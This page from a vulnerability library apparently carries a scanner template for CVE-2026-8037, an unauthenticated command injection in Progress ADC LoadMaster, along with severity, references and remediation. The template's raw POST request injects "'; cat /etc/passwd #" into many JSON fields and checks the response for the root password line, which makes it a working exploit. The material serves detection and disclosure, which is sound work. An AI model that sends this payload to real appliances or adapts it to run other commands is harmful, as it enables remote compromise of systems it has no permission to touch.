/Vulnerability Library

Progress ADC LoadMaster - Command Injection

CVE-2026-8037
Verified

Description

OS Command Injection Remote Code Execution Vulnerability in API in Progress ADC Products allows an un-authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints

Severity

Critical

Published Date

June 29, 2026

Template Author

watchtowr, dhiyaneshdk

CVE-2026-8037.yaml
id: CVE-2026-8037

info:
  name: Progress ADC LoadMaster - Command Injection
  author: watchtowr,DhiyaneshDk
  severity: critical
  description: |
    OS Command Injection Remote Code Execution Vulnerability in API in Progress ADC Products allows an un-authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the LoadMaster appliance, potentially leading to full system compromise.
  remediation: |
    Update to the latest version of Progress ADC LoadMaster.
  reference:
    - https://community.progress.com/s/article/LoadMaster-Critical-Security-Bulletin-June-2026-CVE-2026-8037-CVE-2026-33691
    - https://labs.watchtowr.com/enterprise-tech-in-shell-out-progress-kemp-loadmaster-uninitialized-heap-to-pre-auth-rce-cve-2026-8037/
  metadata:
    verified: false
    fofa-query: body="Progress" && icon_hash=="-2107233094"
    max-request: 1
  tags: cve,cve2026,progress,loadmaster,rce,vkev

http:
  - raw:
      - |
        POST /accessv2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: */*

        {"cmd": "getall", "apiuser": "''''", "apipass": "BBBBB", "g0": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g1": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g2": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g3": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g4": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g5": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g6": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g7": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g8": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g9": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g10": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g11": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g12": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g13": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g14": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g15": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g16": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g17": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g18": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g19": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g20": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g21": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g22": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g23": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g24": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g25": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g26": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g27": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g28": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g29": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g30": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g31": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g32": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g33": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g34": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g35": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g36": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g37": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g38": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g39": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g40": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g41": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g42": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g43": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g44": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g45": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g46": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g47": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g48": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g49": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g50": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g51": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g52": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g53": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g54": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g55": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g56": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g57": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g58": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g59": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #", "g60": "AAAAAAAAAAAAAAAA'; cat /etc/passwd #"}

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "root:x:0:0:"

      - type: word
        part: content_type
        words:
          - "text/json"

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210099944ccb160b5a7f204791a02a4452161515a71fcd914232105cfcd1ad52f964022100ccd1dc9e3451b196e74c8993714e0db763324aa6e623f71f6fc6fa3d6cb08ca7:922c64590222798bb761d5b6d8e72950
9.5Severity

CVSS Metrics

References

https://community.progress.com/s/article/LoadMaster-Critical-Security-Bulletin-June-2026-CVE-2026-8037-CVE-2026-33691https://labs.watchtowr.com/enterprise-tech-in-shell-out-progress-kemp-loadmaster-uninitialized-heap-to-pre-auth-rce-cve-2026-8037/

Remediation Steps

Update to the latest version of Progress ADC LoadMaster.